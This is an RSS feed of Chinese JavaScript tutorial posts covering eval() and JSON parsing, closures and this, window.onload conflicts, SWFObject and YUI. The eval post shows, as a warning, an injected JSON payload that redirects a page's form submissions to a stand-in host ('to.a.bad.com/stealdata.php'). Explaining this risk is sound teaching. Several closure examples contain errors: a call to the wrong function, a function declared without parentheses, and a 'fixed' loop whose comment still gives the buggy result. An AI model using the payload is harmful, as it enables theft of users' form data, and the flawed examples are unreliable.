iokay » JavaScript http://www.iokay.net Sat, 13 Nov 2010 14:23:13 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 JavaScript中eval()函数的一些问题 http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/ http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/#comments Wed, 29 Sep 2010 11:22:59 +0000 controlsea http://www.iokay.net/?p=195 首先先来简单介绍一下eval()的用法，它还是比较容易理解的，相信很多朋友都已经熟悉。eval函数接收一个参数s，如果s不是字符串，则直接返回s。否则执行s语句。如果s语句执行结果是一个值，则返回此值，否则返回undefined。

另外，因此自己在项目实践过程中，因为解析JSON格式数据的时候，发现对于对象声明语法“{}”的并不能返回一个值，需要用括号括起来才会返回值。
例如：

  1. var oo='"abc" + 123';
  2. var xx='{a:123}';
  3. alert(eval(oo));     //abc123
  4. alert(eval(xx));     //undefined
  5. alert(eval('(' + xx + ')'));    //object对象

因此，在获取Json字符串的时候如果要将其解析为对象，必须用括号括住，才能将其转换为表达式，并返回其值。

不过，eval同时也存在很大的问题，首先，它可以用来解析任javascrtipt代码，不仅仅是json数据，因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码，而该代码传入eval()之后就可以被执行。如下面的一个例子：

  1. [1, 2, (function(){document.forms[0].action = "http://to.a.bad.com/stealdata.php"})(), 3, 4]

这个例子中，由于响应的文本包含一个匿名函数，这个函数会修改页面中的第一个表单的action特性，导致表单在提交时，所有数据都会被提及给一个不同的服务器。因此，如果不对json数据进行过滤就直接将其传递给eval()的情况下，很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后，都会在页面的上下文中求值，它就可以像类成员一样运行，对页面中的数据进行操纵。

因此，我们应该避免将服务器返回的javascript函数传入eval()函数中，比如，我们要对json字符串进行解析，可以使用javascript json 库来进行解析，这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。
首先，我们可以先监测浏览器是否支持json库函数

  1. if (typeof(JSON) === 'object') {
  2.  //如果成功，表示该对象存在
  3. }
  1. if (typeof(JSON.parse) === 'function') {
  2.   // //如果成功，表示该处理函数有效
  3. }

我们最好可以双重监测以确保万无一失。

  1. if (typeof(JSON) === 'object' &&
  2.     typeof(JSON.parse) === 'function') {
  3.      //…………
  4. }

监测过之后，我们就能放心的使用该函数处理json字符串了。在此顺便提一下YUI库的处理方式，实现起来同样比较简单。

  1. //引入库的核心文件
  2. <script src="http://yui.yahooapis.com/2.8.1/build/yahoo/yahoo-min.js"><!–mce:0–></script>
  3.  
  4. <script src="http://yui.yahooapis.com/2.8.1/build/json/json-min.js"><!–mce:1–></script>
  5.  
  6. var jsonString = '{"aa":1234,"bb":567}';
  7.  
  8.     var oo = YAHOO.lang.JSON.parse(jsonString);
  9.  
  10.     // 处理过后，接着我们就可以直接对对象的数据进行操控了
  11.     if (oo.bb &lt; 25) {
  12.         …………
  13.     }
  14. }
]]> http://www.iokay.net/web/javascript-web-2/function-eval-secure-and-capability/feed/ 2 This.作用域.闭包 http://www.iokay.net/web/javascript-web-2/this-scope-closure/ http://www.iokay.net/web/javascript-web-2/this-scope-closure/#comments Sat, 25 Sep 2010 13:56:32 +0000 controlsea http://www.iokay.net/?p=184 ppk on javascript

JavaScript是个有点神奇的语言，不过它的一些独有的特性往往让我们初学者感到费解。This是Javascript语言的一个关键词。不过它到底是指什么呢？很多人都会认为this指的是当前对象。当然，这样理解是没错的，但是在有些情况下仍然会有些问题。在此，我搜集了一些资料，重新学习并整理一下，希望能借此来更好的理解this在JS中的工作方式和使用方法。

  1. var test = function(){
  2.      alert(this);
  3. }
  4. test();
  5. new test();

运行以上代码，你会发现test()和new test()的运行结果是不一样的，test()指向的是Windows对象而new test()才是指向test对象，为什么会有两种不同的运行结果？其实这里就涉及到一个变量作用域的问题，而变量作用域同时又牵涉到闭包（Closure）这个JS特性了，正因为闭包的存在，理解变量作用域就显得非常重要。

关于变量作用域

接着先来介绍一下所谓的变量作用域，概念非常简单，每个变量都有自己的作用域，即变量在这么一个区域中可以被识别，而出了此区域就没有任何作用了。作用域就两种：全局作用域和局部作用域。
全局变量在JavaScript中处处都有定义，它贯穿在一个全局对象中，因此可以在任何地方使用。而局部变量则只在一个函数中有定义。其中要注意到的一点就是:JavaScript无块级作用域，这有别于C++和Java。因此任何变量在定义它的整个函数体中都能被识别。

  1. var a=123;
  2. function fun1(){
  3. 　　　　alert(a);
  4. 　　}
  5.  
  6. fun1(); // 123

很简单，函数内部可以直接读取全局变量；

  1. function fun2(){
  2. 　var a=123;
  3. }
  4.  
  5. alert(a); // error

在函数外部当然无法读取函数内的局部变量。

  1. var s="oo";
  2.  
  3. function fun3(){
  4.  alert(s); // undefined
  5.  
  6.  var s ="xx";
  7.  
  8.  alert(s); // xx 因为javascript无块级作用域,s在此被初始化,整个函数中都有定义
  9. }
  10.  
  11. fun3();

以上代码其实就相当于

  1. function fun3(){
  2.  var s;
  3.  alert(s);
  4.  
  5.  s = "xx";
  6.  alert(s);
  7. }    
  8.  
  9. fun3();

另外大家要注意的一点就是，在函数内部声明变量的时候，如果不用var命令，这样其实就相当声明了一个全局变量。

关于闭包

了解过变量作用域之后，对于理解闭包就有很大的帮助了。当我们需要得到函数内的局部变量的时候，就需要在函数的内部再定义一个函数。

  1. function fun1(){
  2.  var a = 123;
  3.  function fun2(){
  4.   alert(a); //123
  5.  }
  6. }

fun2可以访问fun1所有的局部变量，因此我们只要把fun2作为返回值，就可以在fun1外部读取到它的内部变量了。

  1. function fun1(){
  2.  var a = 123;
  3.  function fun2(){
  4.   alert(a); //123
  5.  }
  6.  
  7.  return fun2;
  8. }
  9.  
  10. var result = fun2();
  11. result();

因此，有了闭包将联系函数内外联系起来，我们就可以从函数外读取到函数内部的变量了，另外由于JavaScript作用域的机制，闭包只能读取到包含函数中任何变量的最后一个值。
这里引用一个例子：

  1. function createFunctions(){
  2.  var result = new Array();
  3.  
  4.  for (var i=0; i &lt; 10; i++){
  5.   result[i] = function(){
  6.    return i;
  7.   };
  8.  }
  9.  
  10.  return result;
  11. }
  12.  
  13. var funcs = createFunctions();
  14.  
  15. for(var i=0; i &lt; funcs.length; i++){
  16.  alert(funcs[i]());  //每次都显示10
  17. }

因为每个函数作用域中都保存着createFunctions()函数的活动对象，所以它们引用的都是同一个变量i，当createFunctions()函数返回后，变量i的值是10，因此每个函数都引用着保存变量i的同一个变量对象，所以每个函数内部i的值都是10。我们要稍微改写一下函数，让它符合我们的预期要求。

  1. function createFunctions(){
  2.  var result = new Array();
  3.  
  4.  for (var i=0; i &lt; 10; i++){
  5.   result[i] = function(num){
  6.     return num;
  7.   }(i);
  8.  }
  9.  
  10.  return result;
  11. }
  12.  
  13. var funcs = createFunctions();
  14.  
  15. for(var i=0; i &lt; funcs.length; i++){
  16.  alert(funcs[i]);  //每次都显示10
  17. }

这里，我们通过定义一个匿名函数，并立即执行该匿名函数的结果赋给数组，这里的匿名函数只有一个参数num，也就是最终要返回的值。在调用每个匿名函数时，我们传入了变量i，通过变量i的将当前值赋给参数num，这样就获得我们所要的结果。

清楚了作用域和闭包之后，对于this就能很快理解了。先来看下面这段代码：

  1. function test1{
  2.  this.x = 123;
  3.  alert(this.x);
  4. }
  5.  
  6. test1(); //123

当前的this就是全局对象,稍作变化，效果一样。

  1. var x = 1;
  2.    function test(){
  3.     　this.x = 0;
  4. }
  5.   alert(x); //1
  6.  
  7.   test();
  8.   alert(x); //0

再看如下代码：

  1. var oo = new Object;
  2.  
  3. oo.x = 1;
  4.  
  5. function test2(){
  6.  
  7.  alert(this.x);
  8.  
  9. }
  10.  
  11. oo.fun = test2;
  12.  
  13. oo.fun();  // 1

这里的this就指当前调用该方法的对象。
对于开头这段代码来说，test()函数是在全局作用域下的（在这里其实就是window对象），所以this的值是当前的window对象。而通过 new test()其实是作为构造函数来调用的，就是通过这个函数来生成一个新的对象，所以这里的this就指的是这个新对象。

  1. var xx = 2;
  2.  
  3. function test3(){
  4.  
  5. 　　this.xx = 1;
  6.  
  7. }
  8.  
  9. var oo = new test3();
  10. alert(oo.xx); //1
  11. alert(xx); //2

以上例子可证明this并不是全局对象，因为xx的值并没有改变。最后在网上看到两段例子，对于理解this和闭包有很大的帮助，在此引用过来。

代码一

　　
  1. var name = "The Window";
  2.  
  3. 　　var object = {
  4. 　　　　name : "My Object",
  5.  
  6. 　　　　getNameFunc : function(){
  7. 　　　　　　return function(){
  8. 　　　　　　　　return this.name;
  9. 　　　　　　};
  10.  
  11. 　　　　}
  12.  
  13. 　　};
  14.  
  15. 　　alert(object.getNameFunc()());

代码二

　　
  1. var name = "The Window";
  2.  
  3. 　　var object = {
  4. 　　　　name : "My Object",
  5.  
  6. 　　　　getNameFunc : function(){
  7. 　　　　　　var that = this;
  8. 　　　　　　return function(){
  9. 　　　　　　　　return that.name;
  10. 　　　　　　};
  11.  
  12. 　　　　}
  13.  
  14. 　　};
  15.  
  16. 　　alert(object.getNameFunc()());

由于本人水平有限，此文也算是我最近学习过程中的一个小结吧，若有不当之处，还望大家指正。

]]> http://www.iokay.net/web/javascript-web-2/this-scope-closure/feed/ 0 解决多个window.onload引起的冲突 http://www.iokay.net/web/javascript-web-2/window-onload-conflict/ http://www.iokay.net/web/javascript-web-2/window-onload-conflict/#comments Thu, 22 May 2008 17:02:58 +0000 controlsea http://www.iokay.net/?p=21 我们在网页中可能要插入多个JS，可是如果在两个JS的代码中都使用了 window.onload,可能会出现两个JS不兼容的现象。可能就显示其中一个JS，而另一个就被忽略了，也就是同一个网页中不能出现两个 window.onload。这次本人在编写网页的时候就遇到了这个问题，因为如果只用一个JS就显得有点单调，如果重新编写JS代码又感觉太麻烦。这时我们就要用window.attachEvent和window.addEventListener来解决问题了。

当某一事件被触发时需要执行某个函数，在IE下可用 attachEvent，在FF下则要用addEventListener。
attachEvent()有两个参数，第一个是事件名称，第二个是需执行的函数；
addEventListener()有三个参数，第一个是事件名称，但与IE事件不同的是，事件不带”on”,比如”onsubmit”在这里应为”submit”，第二个是需执行的函数，第三个参数为布尔值；

例如：(可以在IE和FF下分别测试)：

<input type=”button” id=”ie” value=” IE ” />
<input type=”button” id=”ff” value=” FF ” />
<script type=”text/javascript”>
var isIE = (document.all && window.ActiveXObject && !window.opera) ? true : false;
if(isIE)
{
document.getElementById(‘ie’).attachEvent(“onclick”, Fun);
}
else
{
document.getElementById(‘ff’).addEventListener(“click”, Fun, false);
}
function Fun()
{
if(isIE)
{
alert(‘I\’m IE’);
}
else
{
alert(‘I\’m Not IE’);
}

}
</script>

所以我们可以直接这样编写：
if (document.all){
window.attachEvent(‘onload’,调用函数名)//对于IE
}
else{
window.addEventListener(‘load’, 调用函数名,false);//对于FireFox
}

]]> http://www.iokay.net/web/javascript-web-2/window-onload-conflict/feed/ 0 SWFObject ——让你页面上的Flash显示更完美 http://www.iokay.net/web/javascript-web-2/swfobject-make-you-flash-perfect-on-html/ http://www.iokay.net/web/javascript-web-2/swfobject-make-you-flash-perfect-on-html/#comments Sat, 02 Feb 2008 16:15:54 +0000 controlsea http://www.iokay.net/?p=15 最近看到了好几个Flash网站，head代码里都加载了一个 swfobject.js，这个JS究竟有什么作用呢？眼下正在做一个Web页面，说不定刚好可以派上用场。于是，好奇的搜索了一下。原来这是老外开发的，用于在HTML中方面插入Adobe Flash媒体资源（*.swf文件）的独立、敏捷的JavaScript模块，该模块中的JavaScript脚本能够自动检测PC、Mac机器上各种主流浏览器对Flash插件的支持情况。目前最新的版本是1.5，这里可以下载最新版的SWFObject:

http://blog.deconcept.com/swfobject/swfobject_source.js


发现用它的好处多多啊：
1.IE中没有讨厌的虚框问题了。
2. 提供了完善的版本检测功能，如果版本不够则显示其他东西，比如图片或文字。
3.易于使用，只要在页面头加载一个 .js 文件，然后 HTML 写一个容器，里面放普通的文本或图片（用于无法显示 Flash 时显示），最后用脚本来替换这个元素里面的内容为 Flash。
4.使得插入 Flash媒体资源尽量简捷、安全。而且它是非常符合搜索引擎优化的原则的。
5.能够避免HTML、XHTML中出现object、embed等非标准标签，从而符合更加标准。

只需要包含 swfobject.js这个js文件，然后在DOM中插入一些简单的JS代码，就能嵌入Flash媒体资源了。 下面是一个最简单的范例：

<script type=”text/javascript” src=”swfobject.js”></script>

<div id=”flashcontent”>
This text is replaced by the Flash movie.
</div>

<script type=”text/javascript”>
var so = new SWFObject(“movie.swf”, “mymovie”, “200″, “100″, “7″, “#336699″);
so.write(“flashcontent”);
</script>让我们看看这些代码是如何工作的

<div id=”flashcontent”>[...]</div>首先，我们要为SWF资源预留一个HTML结点。这个HTML结点内的所有内容都会在客户端被Flash资源替换，当客户端没有安装Flash播放器的时候，这些内容会显示出来。这一特色在SEO以及对用户体验方面非常有必要。

var so = new SWFObject(swf, id, width, height, version, background-color [, quality, xiRedirectUrl, redirectUrl, detectKey]);创建一个新的SWFObject实例，并且传入一下参数:

swf – SWF文件路径
id – 您为这个SWF文件分配的id值，它将用于给embed与object标签设定name属性，以便于可以支持swliveconnect的功能，如动态传入变量
width – 宽度
height – 高度
version – FlashPlayer需要的版本号，它可以详细到 ‘主版本号.小版本号.细节’，例如：”6.0.65″。一般地，我们只需传入主版本即可，例如：”6″。
background-color – Flash资源的背景色，16进制格式
此外，还有如下可选参数:

quality – 画面质量，默认为”high”。
xiRedirectUrl – 详见ExpressInstall相关
redirectUrl – 没有安装相应版本的播放器后自动跳转的目标地址
detectKey – 这是当忽略检测时，SWFObject将去url地址中查找的变量，默认值为“detectflash”，后续有详细介绍
so.write(“flashcontent”);将 Flash资源应用到DOM里，在浏览器显示出来。

SWFObject在

<script type=”text/javascript”>
</script>

之间加入多个参数来实现各个效果，参数很多，但是实际只要一点点。我们可以看下这样的代码：

<script type=”text/javascript” src=”swfobject.js”></script>
<script type=”text/javascript”>
var so = new SWFObject(“movie.swf”, “mymovie”, “400″, “100%”, “8″, “#336699″);
so.addParam(“quality”, “low”);
so.addParam(“wmode”, “transparent”);
so.addParam(“salign”, “t”);
so.addVariable(“variable1″, “value1″);
so.addVariable(“variable2″, “value2″);
so.addVariable(“variable3″, “value3″);
so.addVariable(“variable1″, getQueryParamValue(“variable1″));
so.addVariable(“variable2″, getQueryParamValue(“variable2″));
so.write(“flashcontent”);
</script>

这段代码给出了SWFObject的常用参数：

var so = new SWFObject(swf, id, width, height, version, background-color [, quality, xiRedirectUrl, redirectUrl, detectKey]);
so.addParam(“Param1″, “Param2″);
so.addParam(“Param3″, “Param4″);
so.addParam(“Param5″, “Param6″);
so.addVariable(“variable1″, “value1″);
so.addVariable(“variable2″, “value2″);
so.addVariable(“variable3″, “value3″);
so.addVariable(“variable1″, getQueryParamValue(“variable1″));
so.addVariable(“variable2″, getQueryParamValue(“variable2″));
so.write(“content”);

解释一下这些参数的作用：

var so = new SWFObject(swf, id, width, height, version, background-color [, quality, xiRedirectUrl, redirectUrl, detectKey]);         //这段是SWFObject必须的基本参数，所有SWFObject都必须包含的。
so.addParam(“Param1″, “Param2″);   //这里是给Flash添加内联参数，可以实现诸如背景透明之类的效果。依照需求添加就可以了，参数和emded/object标签是一样的代码，下同。
so.addParam(“Param3″, “Param4″);
so.addParam(“Param5″, “Param6″);
so.addVariable(“variable1″, “value1″);    //这里是给Flash添加FlashVar，这是以FlashVar的方式给Flash的Root添加变量，对于Number型变量在Flash端需要做类型转换。
so.addVariable(“variable2″, “value2″);
so.addVariable(“variable3″, “value3″);
so.addVariable(“variable1″, getQueryParamValue(“variable1″));   //Flash获取URL变量对于url?arg1=test1&arg2=test2这样用GET方式传递变量的URL，我们可以用 getQueryParamValue方法来获取变量。
so.addVariable(“variable2″, getQueryParamValue(“variable2″));
so.write(“content”);    //这里是至关重要的一个地方，他是用一段特定内容取代Flash无法显示时的内容。可以事先在CSS里定义好样式，在文档里使用div标签写出来。这里在调用过来。

不过本人发现这个东西目前还有一些未解决的问题，比如：我在网页中多次使用SWFObject时就存在只显示其中一个，而另一个未能显示的问题。经多次调试未能成功，望日后能解决这个问题，若有高手发现问题所在，还望提点～～～

]]> http://www.iokay.net/web/javascript-web-2/swfobject-make-you-flash-perfect-on-html/feed/ 0 Yahoo的Ajax工具包 http://www.iokay.net/web/javascript-web-2/yahoo-ajax-utilities/ http://www.iokay.net/web/javascript-web-2/yahoo-ajax-utilities/#comments Sat, 22 Sep 2007 19:38:02 +0000 controlsea http://www.iokay.net/?p=9 Yahoo在前段时间推出了yui的ajax工具包,同时yahoo发表了一系列的ajax设计模式. Yahoo的这些工具包是Yahoo在收购了多个web2.0网站后推出的ajax工具包，代码的注释也写的很好，让人容易理解，同时文档也是相当的丰富和详尽。yui的组件也在不断的增加中，Yahoo为yui设了一个yahoo用户组，里面的邮件很活跃，问的问题基本都有人回答，而且比较细致和具体。

yui分为两个大类,一个是ajax组件,里面包括对底层 javascript包装后的几个工具包,分别是connection,event, dom,animation,dnd.还包括一组高级的javascript控件，目前包括autocomplete,calendar, container,menu,slider,treeview.

另一类是几个很有用的几个css文件，一个是css page grids，用它可以很方便的布局你的网页。另外两个是standard css fonts和standard css reset,利用这两个css可以对字体等在不同浏览器中获得一致的效果.

yahoo的ajax设计模式是在目前的Web2.0网站中常用的一些改善用户体验,增强交互效果的文章,格式和design pattern类似.有时会提供一些例子网站或网页,当然都是yahoo自己的几个网站,上面的javascript可能还没有整理到yui里面去,但是 也都是格式化很好的javascript,也没有混淆.

yui utilities(connection manager)

Yahoo的javascript文件都有一个注释的很好的，格式化很好的版本和一个去掉注释和空格的版本，学习看源代码当然用前者，而最后在网页上使用的时候就可以选用后者。

1. connection manager
这个工具包用来管理xmlhttprequest,通过这个工具包可以查询正在执行的请求的状态，可以注册正确返回的回调函数，错误处理的回调函数，还可以根据提供的表单id方便的收集和发送表单字段。下面给出的代码是基本调用形式

var callback =
{
success: function(res) {/*success handler code*/}, //正常返回处理函数
failure: function(res) {/*failure handler code*/}, //出错返回处理函数
argument: [argument1, argument2, argument3] //可以在success函数和failure函数中访问的变量
}
var transaction = yahoo.util.connect.asyncrequest(’get’, surl, callback, null);

下面的表给出的是通过正确返回时res参数可以获得的属性值。
属性明 描述 tid 该http请求的事务表示 status 返回的http状态码 statustext 对应状态码的字符串表示 getresponseheader[label] 返回label名称标识的http头的值 getallresponseheader 所有的http头的字符串表示，用”\n”分隔 responsetext 返回内容的字符串表示 responsexml 返回内容的xml表示 argument 回调函数中传入的变量

错误返回时可以通过res返回的属性
属性明 描述 tid 该http请求的事务表示 status 0 statustext “communication failure” argument 回调函数中传入的变量

如果想发送的是表单数据，那么使用下面的代码就可以了：

yahoo.util.connect.setform(formid);
var cobj = yahoo.util.connect.asyncrequest(’post’, ‘http://www.yahoo.com’, callback);

查看请求是否已经处理完

var cobj = yahoo.util.connect.asyncrequest(’get’,’http://www.yahoo.com’,callback);
var callstatus = yahoo.util.connect.iscallinprogress(cobj);

超时取消请求

var cobj = yahoo.util.connect.asyncrequest(’get’, surl, callback);
settimeout(”yahoo.util.connect.abort(cobj)”,10000);

yui utilities(event)

使用event工具包可以简化浏览器端的事件驱动程序的开发，通过使用简单的接口就可以订制响应dom事件的代码，同时获得浏览器event对象的各种属性也很方便。通过event工具包我们还可以订制自己的事件，这样页面组件可以接收这些事件并做出响应。

基本的事件代码

var oelement = document.getelementbyid(”elementid”);//获得事件源
function fncallback(e) { alert(”click”); }//定义回调函数

yahoo.util.event.addlistener(oelement, “click”, fncallback);//注册回调函数，当oelement的click事件发生的时候，fncallback函数将被调用。
//或者更简单的直接传递id yahoo.util.event.addlistener(”elementid”, “click”, fncallback);

注册响应多个页面元素的事件

var ids = [”el1′, “el2′, “el3′];//该数组中可以包括元素id，元素的引用，或者两者混合的情况。
function fncallback(e) { alert(this.id); }
yahoo.util.event.addlistener(ids, “click”, fncallback);

yui的event包解决了一些比较实际的问题，第一页面元素通常在javacript注册事件代码后载入，这个时候yui会正确延迟注册，直到指 定id的元素可以访问。第二微软的ｉｅ浏览器在事件处理函数中的this指向的是window对象，而不是发生事件的那个元素，yui也会正确的传递事件 发生的源元素。第三可以把任意的对象传递给事件处理函数。

创建和使用自定义的事件

1.使用customerevent对象创建自己的事件

function testobj(name) {
this.name = name;
this.event1 = new yahoo.util.customevent(”event1′, this);
}

yahoo.util.customevent = function(type, oscope);
type 表示事件类型的字符串

2。注册对自定义事件的响应函数

function consumer(name, testobj) {
this.name = name;
this.testobj = testobj;
this.testobj.event1.subscribe(this.onevent1, this);
}

3。响应函数

consumer.prototype.onevent1 = function(type, args, me) {
alert(” this: ” + this +
“\n this.name: ” + this.name +
“\n type: ” + type +
“\n args[0].data: ” + args[0].data +
“\n me.name: ” + me.name);
}

4。触发自定义事件

function testdata(data) {
this.data = data;
}
var t1 = new testobj(”mytestobj1′);
var c1 = new consumer(”mytestconsumer1′, t1);
var d1 = new testdata(”mydata1′);
t1.event1.fire(d1);

yui(dom collection)

yui的dom工具包屏蔽了各种浏览器的差别，使用dom工具包可以方便的的操作页面元素，包括控制元素的坐标，以及改变元素的css风格。

获得和设置元素坐标
var pos = yahoo.util.dom.getxy(’test’);
yahoo.util.dom.setxy(’target’, pos);

设置元素的css属性
yahoo.util.dom.setstyle([’test’, ‘test2′], ‘opacity’, 0.5);
var opacity = yahoo.util.dom.getstyle(’test2′, ‘opacity’);

获得显示当前文档的窗口的大小。
var viewport = [
yahoo.util.dom.getviewportwidth(),
yahoo.util.dom.getviewportheight()
];

获取和设置与css相关的属性
getelementbyclassname(classname,tagname,rootnode)
hasclass(element,classname)
addclass(element,classname)
removeclass(element,classname)
replaceclass(element,oldclassname,newclassname)

]]> http://www.iokay.net/web/javascript-web-2/yahoo-ajax-utilities/feed/ 0